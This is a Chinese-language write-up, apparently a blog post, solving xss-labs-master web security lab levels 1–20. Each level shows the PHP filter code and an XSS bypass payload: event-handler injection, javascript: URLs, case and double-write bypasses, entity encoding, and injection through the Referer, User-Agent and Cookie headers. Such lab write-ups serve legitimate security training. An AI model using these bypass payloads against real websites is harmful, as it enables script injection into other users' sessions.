【Web安全靶场】xss-labs-master 1-20

news2024/12/19 15:01:07

xss-labs-master

其他靶场见专栏

文章目录

  • xss-labs-master
    • level-1
    • level-2
    • level-3
    • level-4
    • level-5
    • level-6
    • level-7
    • level-8
    • level-9
    • level-10
    • level-11
    • level-12
    • level-13
    • level-14
    • level-15
    • level-16
    • level-17
    • level-18
    • level-19
    • level-20

level-1

第一关没有进行任何限制,get请求参数直接回显至界面,修改参数值就行。

?name=<script>alert(1)</script>

level-2

第二关页面是一个输入框,输入的值会回显至页面中,所以先试一下**<script>alert(1)</script>**发现页面回显的消息直接就是我们输入的内容,并没有任何作用。

在这里插入图片描述

根据上面的图片可以知道我们的尖括号被转义为实体(没看到的话就选中右击选择Edit as HTML),因为源代码中使用了htmlspecialchars($str)。下面的敏感符号也会转义为HTML实体:&号,左右尖括号,单双引号,(这个函数具有三个参数,第一个参数为必选参数,表示待处理的字符串,第二个参数为可选参数,专门针对字符串中的引号操作,默认值:ENT_COMPAT,只转换双引号。ENT_QUOTS,单引号和双引号同时转换。ENT_NOQUOTES,不对引号进行转换。第三个参数为处理字符串的指定字符集)

echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>

但是input标签中我们输入的值也会显示在那,所以我尝试构造闭合,在input标签实现跨站脚本攻击。

<input name=keyword  value="'.$str.'">

首先尝试输入一个引号探针试一下引号有没有被过滤,没有被过滤就使用onfocus焦点事件、onblur竞争焦点事件。

  • onfocus焦点事件:

在这里插入图片描述

11" onfocus=alert(1)>
  • onblur竞争焦点事件:

在这里插入图片描述

1" onblur=alert(1)>

以及其他可以改变DOM结构的payload都可以…

level-3

输入<script>alert(1)</script>发现回显的地方尖括号变为HTML实体了,输入双引号尝试在input标签构造闭合,发现双引号被转为HTML实体。查看源代码,发现回显的地方和输入框的value均使用了htmlspecialchars函数。

echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<input name=keyword  value='".htmlspecialchars($str)."'>

它对双引号进行了防御但是没有对单引号进行防御,所以我们可以通过事件标签促发xss攻击,因为**单引号在某些浏览器也可以和双引号构成闭合。**这里使用onfocus鼠标事件,任何其他可以改变DOM结构的是按都可以促发攻击。

  • onfocus鼠标事件:

在这里插入图片描述

1' onfocus='alert(/xss/)

level-4

这一关还是一个输入框加上一个回显,输入一个探针<script>'",查看input标签发现尖括号被吞了,但是单引号双引号正常存在。查看源代码发现尖括号被替换了:

$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);

echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<input name=keyword  value="'.$str3.'">

在这里插入图片描述

所以直接使用onfocus或者onblue等等,但是不能使用改变DOM结构的标签了。

  • onfocus鼠标事件:

在这里插入图片描述

1" onfocus="alert(1)

注意点就是需要闭合后面的双引号…

level-5

这一关还是一个输入框和回显,输入<script>‘”探针试一下,发现script被下划线截断了,单双引号尖括号还是正常存在,所以猜测这一关就是对敏感词进行截断的,输入on发现on一样被截断,所以直接使用script和onfocus之类的不行了。查看源代码:

$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);

echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<input name=keyword  value="'.$str3.'">

通过代码可知,这一关对<script和on进行截断,并且使用小写转化函数,所以不能使用大小写绕过了。我们可以做到的就是闭合,闭合的话就可以改变DOM结构,但是很多的标签触发条件都是onfocus什么的,这时就可以使用javascript伪协议。

  • javascript伪协议:

在这里插入图片描述

1"><a href="javascript:alert(1)">xssssss</a>

level-6

输入探针<sCript><script"'Oonn发现script和on被添加下划线,但是大小写绕过的script却没有被添加下划线,同样的单双引号、尖括号也没有被转义。

在这里插入图片描述

查看源代码发现好多的标签选项都被过滤了,但是这没有使用小写转换函数,所以直接使用大小写绕过是可以的。

$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);

echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<input name=keyword  value="'.$str6.'">
  • javascript伪协议:

在这里插入图片描述

"><a HREF="javascript:alert(1)">xsssss</a>
  • onfocus鼠标事件:

在这里插入图片描述

1" Onfocus=alert(1)>

level-7

输入探针<sCript><script"'Oonn发现script和on无论大小写都不见了,单双引号也不见了,但是尖括号还在,所以估计这些内容是被小写转化并且被replace了。

在这里插入图片描述

进行replace操作一般会尝试双写绕过,所以输入scrscriptipt发现,这一关仅仅消去了一个script标签,消去之后还会拼接成一个新的script,所以可以进行双写绕过。查看源代码:

$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);

echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<input name=keyword  value="'.$str6.'">
  • javascript伪协议双写绕过:

在这里插入图片描述

1"><a hrhrefef="javascrscriptipt:alert(1)">xssssss</a>

level-8

这一关和前面的就有些不一样了,我们输入的内容会作为a标签的href值,所以我们尝试输入script,发现script被截断了。查看源代码:

$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);

<input name=keyword  value="'.htmlspecialchars($str).'">
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';

由于这是href的值我们可以尝试构造javascript伪协议,script被截断了,所以我们可以尝试将其转化为HTML实体:

javascript  =>   &#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;
  • 转化为HTML实体:
&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:alert(1)

在这里插入图片描述

level-9

这一道题也是友情链接,他给出的提示是“您的链接不合法?有没有!”输入sCript,发现sCript转化为小写并且被截断,并且使用HTML实体显示的是链接不合法,所以我们要给他一个正确的链接,它认为正确的链接是什么呢?查看源代码:

$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);

<input name=keyword  value="'.htmlspecialchars($str).'">

if (false === strpos($str7, 'http://')) {
   echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
} else {
   echo '<center><BR><a href="' . $str7 . '">友情链接</a></center>';
}

这一关使用了strpos函数,这个函数的作用是返回指定文本第一次出现的位置,如果没有出现那就返回false,所以我们只需要输入有http://的链接就行了,对于伪协议,我们把它加上,并且把它注释掉就行了,并且要加在后面。

  • 转化为HTML实体的伪协议:

在这里插入图片描述

&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:alert(1)//http://

level-10

这一关是值是在URL的参数上,不在输入框上了,意味着鼠标事件没有用了,必须使用尖括号。使用探针sCript<'>"on=On发现,只有尖括号被转化成HTML实体。本来想着将尖括号转化成HTML实体看看行不行,但是发现转化的实体是带有&参数分隔符的。查看源代码发现,有一个被隐藏的form表单,里面有三个参数:

<form id="search">
	<input name="t_link" value="" type="hidden">
	<input name="t_history" value="" type="hidden">
	<input name="t_sort" value="" type="hidden">
</form>

所以在URL中加上这三个参数,发现仅仅第三个input标签变化了,所以猜测第三个标签是在value选项中插入值的。

在这里插入图片描述

查看源代码确实如此:

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

所以我们尝试在t_sort中使用探针,仅仅尖括号被改变了而已,所以我们直接onfocus鼠标事件,注意要将type的值改为text否则无法显示出来,或者F12修改Elements也可。

  • onfocus鼠标事件:
  • 在这里插入图片描述
?keyword=1&t_link=1&t_history=1&t_sort=1" onfocus="alert(1)" type="text 

level-11

这一关还是URL参数的,有了上一关的经验,这次查看源代码,发现多出了一个input标签:

<form id="search">
	<input name="t_link" value="" type="hidden">
	<input name="t_history" value="" type="hidden">
	<input name="t_sort" value="" type="hidden">
	<input name="t_ref" value="http://192.168.255.128/xss-labs-master/level10.php?keyword=1&amp;t_link=1&amp;t_history=1&amp;t_sort=1%22%20οnmοuseοver=%22alert(1)%22%20type=%22text" type="hidden">
</form>

第四个标签的值很熟悉,这是我上一个链接,所以我猜测这是和referer头有关的,所以抓包!构造闭合!鼠标事件!改type的值!查看源代码确实如此,原来的t_sort不能用了:

<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref"  value="'.$str33.'" type="hidden">
  • Refer头:

在这里插入图片描述

Referer: 1" onmouseover=alert(1) type="text

level-12

查看源代码发现还是多出来一个input标签,但是它的名字是t_ua,所以猜测这是和User-Agent有关的,查看源代码:

$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);

<form id=search>
	<input name="t_link"  value="'.'" type="hidden">
	<input name="t_history"  value="'.'" type="hidden">
	<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
	<input name="t_ua"  value="'.$str33.'" type="hidden">
</form>

可见这一关对引号和on之类的没有进行过滤,所以我们进行抓包,从User-Agent中实现xss攻击。

在这里插入图片描述

User-Agent: 1" onfocus=alert(1) type="text

level-13

这一关和前面一样也是隐藏了一些输入框,对于这一关,隐藏了一个t_cook,所以猜测这是和cookie相关的,分析源代码:

$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);

<form id=search>
	<input name="t_link"  value="'.'" type="hidden">
	<input name="t_history"  value="'.'" type="hidden">
	<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
	<input name="t_cook"  value="'.$str33.'" type="hidden">
</form>

进行抓包,对input使用onfocus鼠标事件:

在这里插入图片描述

Cookie: user=1" onfocus=alert(1) type="text

level-14

网上说这一关有点问题

level-15

这一道题没有任何输入框也没与任何回显,查看元素发现底下有一个**<!-- ngInclude: undefined -->**,一开始并不知道这是什么东西,搜了一下,ng-include 指令用于包含外部的 HTML 文件,包含的内容将作为指定元素的子节点,包含的文件需要包含在同一个域名下。查看了一下源代码,发现这一关是可以接收参数了,因为一开始进去没有参数所以ngInclude才是undefined:

<?php 
ini_set("display_errors", 0);
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
?>

因为这里对闭合符号进行处理,所以我想的是传递一个有漏洞的界面,将第一关传上去,注意要加上单引号:

在这里插入图片描述

但是如果将<script>alert(1)</script>作为第一关的答案传上去,是没有弹窗的,但是这个script标签会在代码元素中,那就试一下使用a标签,结果可知,主动触发的是可以的。

在这里插入图片描述

level-16

这一关正常了,是一个url参数的题,首先输入一下探针吧,<Script '" Oonn>=href,结果是尖括号、空格、script被替换,其中空格和尖括号被替换成HTML实体,script被过滤,大小转化为小写。查看源代码:

$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","&nbsp;",$str);
$str3=str_replace(" ","&nbsp;",$str2);
$str4=str_replace("/","&nbsp;",$str3);
$str5=str_replace("	","&nbsp;",$str4);

没有空格的化可以使用%0a和%ob等代替,script使用不了就用input标签的onfocus:

在这里插入图片描述

?keyword=<input%0atype="text"%0aonfocus=alert(1)>

level-17

这一关进去之后会看到一个“该插件不受支持”,查看元素发现有一个**<embed src=“xsf01.swf?=” width=“100%” heigth=“100%”>**,所以猜测这个src是和参数有关的,查看源代码:

<?php
ini_set("display_errors", 0);
echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>

果然存在两个参数,我们传递这两个参数的时候,点号会把他们连接起来,尝试使用引号和尖括号发现都被转义了,当我发现src中会截断空格,所以尝试在arg01中添加空格:

在这里插入图片描述

?arg01=1  onmouseover&arg02=alert(1)

level-18

这一关和上一关一样的,用一样的方法就可以了…搞不懂了…

level18.php?arg01=1 onmouseover&arg02=alert(1)

level-19

这一关我尝试使用空格截断,发现并不可以所以查看源代码,发现这一关在双引号中进行点号运算,所以空格截断不可取:

<?php
ini_set("display_errors", 0);
echo '<embed src="xsf03.swf?'.htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"]).'" width=100% heigth=100%>';
?>

使用单引号尝试能不能和闭合一下,发现单引号仅仅是普通文本,尖括号也是作为普通文本,这样子常规的方法无法下手了。接着我搜索xsf03.swf是什么来的,于是访问一下http://192.168.255.128/xss-labs-master/xsf03.swf,将文件下载下来,要使用专用的FlashPlayer播放器打开,但是使用了也打不开。。。网上搜了一下,弹出了个swf反编译,所以试了一下。得到version未定义,接着传入参数<a href=‘javascript:alert(/xss/)’>xss</a>,但最后结果没有显示,不会做了,逆向的题

level-20

不会做…

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1488008.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

服务器感染了.ma1x0勒索病毒,如何确保数据文件完整恢复?

引言&#xff1a; 网络安全成为至关重要的议题。.ma1x0勒索病毒是当前网络威胁中的一种恶意软件&#xff0c;它的出现给用户带来了极大的困扰。然而&#xff0c;正如任何挑战一样&#xff0c;我们也有方法来面对并克服.ma1x0勒索病毒。本文将全面介绍这种病毒的特点&#xff0…

挑战杯 基于深度学习的人脸专注度检测计算系统 - opencv python cnn

文章目录 1 前言2 相关技术2.1CNN简介2.2 人脸识别算法2.3专注检测原理2.4 OpenCV 3 功能介绍3.1人脸录入功能3.2 人脸识别3.3 人脸专注度检测3.4 识别记录 4 最后 1 前言 &#x1f525; 优质竞赛项目系列&#xff0c;今天要分享的是 &#x1f6a9; 基于深度学习的人脸专注度…

Eclipse也可以轻松创建JSP动态Web项目 绿色、免费、神器、就是好用一大截!

&#x1f680; 个人主页 极客小俊 ✍&#x1f3fb; 作者简介&#xff1a;web开发者、设计师、技术分享博主 &#x1f40b; 希望大家多多支持一下, 我们一起学习和进步&#xff01;&#x1f604; &#x1f3c5; 如果文章对你有帮助的话&#xff0c;欢迎评论 &#x1f4ac;点赞&a…

本地安装部署Flask并结合内网穿透实现远程访问本地web界面

文章目录 1. 安装部署Flask2. 安装Cpolar内网穿透3. 配置Flask的web界面公网访问地址4. 公网远程访问Flask的web界面 本篇文章主要讲解如何在本地安装Flask&#xff0c;以及如何将其web界面发布到公网进行远程访问。 Flask是目前十分流行的web框架&#xff0c;采用Python编程语…

树莓集团董事长王凯带队拜访国家超级计算成都中心,探索数字经济高质量发展新路径

随着数字经济时代全面开启&#xff0c;算力作为新型生产力&#xff0c;已成为支撑数字经济发展的“新底座”、驱动经济社会数字化转型的“新引擎”。 2024年3月1日&#xff0c;树莓科技&#xff08;成都&#xff09;集团有限公司董事长王凯、副总裁吴晓平、天府产城投资部部长…

Centos7.9双网卡绑定操作

同事整理的安装文档参考&#xff1a; 首先要有两块物理网卡 我用的虚机模拟两块物理网卡 先查看一下bonging模块有没有启动 lsmod | grep bonding 如没启动 modprobe bonding 查看两块网卡名字 创建物理网卡网口配置文件 vi /etc/sysconfig/network-scripts/if…

力扣 第 387 场周赛 解题报告 | 珂学家 | 离散化树状数组 + 模拟场

前言 整体评价 手速场模拟场&#xff0c;思路和解法都蛮直接的。 所以搞点活 如果T2&#xff0c;如果不固定左上角&#xff0c;批量查询某个点为左上角&#xff0c;求满足总和 ≤ k \le k ≤k的子矩阵个数 如果T2&#xff0c;如果不固定左上角&#xff0c;求总和 ≤ k \le k…

手写分布式配置中心(二)实现分布式配置中心的简单版本

这一篇文章比较简单&#xff0c;就是一个增删改查的服务端和一个获取配置的客户端&#xff0c;旨在搭建一个简单的配置中心架构&#xff0c;代码在 https://gitee.com/summer-cat001/config-center 服务端 服务端选择用springboot 2.7.14搭建&#xff0c;设计了4个接口/confi…

每天一道leetcode:20.有效的括号(简单;栈的经典题目)

⭐今日份题目 给定一个只包括 (&#xff0c;)&#xff0c;{&#xff0c;}&#xff0c;[&#xff0c;] 的字符串 s &#xff0c;判断字符串是否有效。 有效字符串需满足&#xff1a; 左括号必须用相同类型的右括号闭合。 左括号必须以正确的顺序闭合。 每个右括号都有一个对…

【数据结构与算法设计】上机课习题一

基础知识 勾画 1.存储结构是逻辑结构的&#xff08;&#xff09;实现 2.一个算法的时空性能是指该算法的&#xff08;&#xff09;和&#xff08;&#xff09; 3.在一般算法下一个算法的事件复杂性是&#xff08;&#xff09;的函数 4.用python设计一个算法&#xff0c;计算 …

输入文章id,爬取小红书某文章下所有评论

import requests import time import csvf open(小红书评论.csv,mode a,encodingutf-8,newline) csv_writer csv.DictWriter(f,fieldnames[内容,点赞数量,发布时间,昵称,头像链接,用户id]) csv_writer.writeheader()def spider(url):headers {"Cookie":"abR…

程序员竟然还有职业规划手册?

《程序员职业规划手册》不是一本具体的书&#xff0c;而是由前阿里技术总监雪梅老师讲授的一个专栏课程&#xff0c;总共有20讲&#xff0c;内容基本都是图片和文字形式&#xff0c;也有对应的语音讲述。 回顾了下毕业工作的这几年&#xff0c;我买过很多学习课程&#xff0c;…

【Python】进阶学习:pandas--read_csv()用法详解

&#x1f680;【Python】进阶学习&#xff1a;pandas–read_csv()用法详解&#x1f680; &#x1f308; 个人主页&#xff1a;高斯小哥 &#x1f525; 高质量专栏&#xff1a;Matplotlib之旅&#xff1a;零基础精通数据可视化、Python基础【高质量合集】、PyTorch零基础入门教…

Windows服务器:通过nginx反向代理配置HTTPS、安装SSL证书

先看下效果&#xff1a; 原来的是 http&#xff0c;配置好后 https 也能用了&#xff0c;并且显示为安全链接。 首先需要 SSL证书 。 SSL 证书是跟域名绑定的&#xff0c;还有有效期。 windows 下双击可以查看相关信息。 下载的证书是分 Apache、IIS、Tomcat 和 Nginx 的。 我…

redis批量删除指定前缀key四种方法(收藏)

这篇文章主要介绍了redis批量删除指定前缀key四种方法。 目录 redis批量删除指定前缀key四种方法 第一种&#xff1a;第二种&#xff1a;第三种&#xff1a;第四种&#xff1a;Redis 如何批量删除指定前缀的Key 编码方式 redis批量删除指定前缀key四种方法 第一种&#xff…

【题解】—— LeetCode一周小结9

【题解】—— 每日一道题目栏 上接&#xff1a;【题解】—— LeetCode一周小结8 26.二叉搜索树的范围和 题目链接&#xff1a;938. 二叉搜索树的范围和 给定二叉搜索树的根结点 root&#xff0c;返回值位于范围 [low, high] 之间的所有结点的值的和。 示例 1&#xff1a; 输…

SpringBoot-yaml语法

1.概念 在Springboot的项目中&#xff0c;配置文件有以下几种格式&#xff1a; Application.propertiesApplication.yamlApplication.yml 其中官方推荐我们使用yaml的格式(因为能表示的数据类型很多样) 2.基本语法 # yaml形式的配置文件# 普通的key-value&#xff08;分号之后…

windows环境下Grafana+loki+promtail入门级部署日志系统,收集Springboot(Slf4j+logback)项目日志

&#x1f339;作者主页&#xff1a;青花锁 &#x1f339;简介&#xff1a;Java领域优质创作者&#x1f3c6;、Java微服务架构公号作者&#x1f604; &#x1f339;简历模板、学习资料、面试题库、技术互助 &#x1f339;文末获取联系方式 &#x1f4dd; 往期热门专栏回顾 专栏…

MyBatis操作数据库(XML方式)

MyBatis是一个持久层框架&#xff0c;和Spring没有任何关系&#xff0c;可以用来简化数据库的操作&#xff01; 创建工作&#xff1a; 创建Spring Boot工程&#xff0c;并导入MyBatis的起步依赖&#xff0c;Mysql的依赖等 配置数据 #配置数据库的连接字符串 spring:datasour…

ruoyi 图片等文件资源读取

老是忘&#xff0c;记录一下 ResourcesConfig 文件下 /** 本地文件上传路径 */ registry.addResourceHandler(Constants.RESOURCE_PREFIX "/**").addResourceLocations("file:" RuoYiConfig.getProfile() "/"); /*** 资源映射路径 前缀*/ …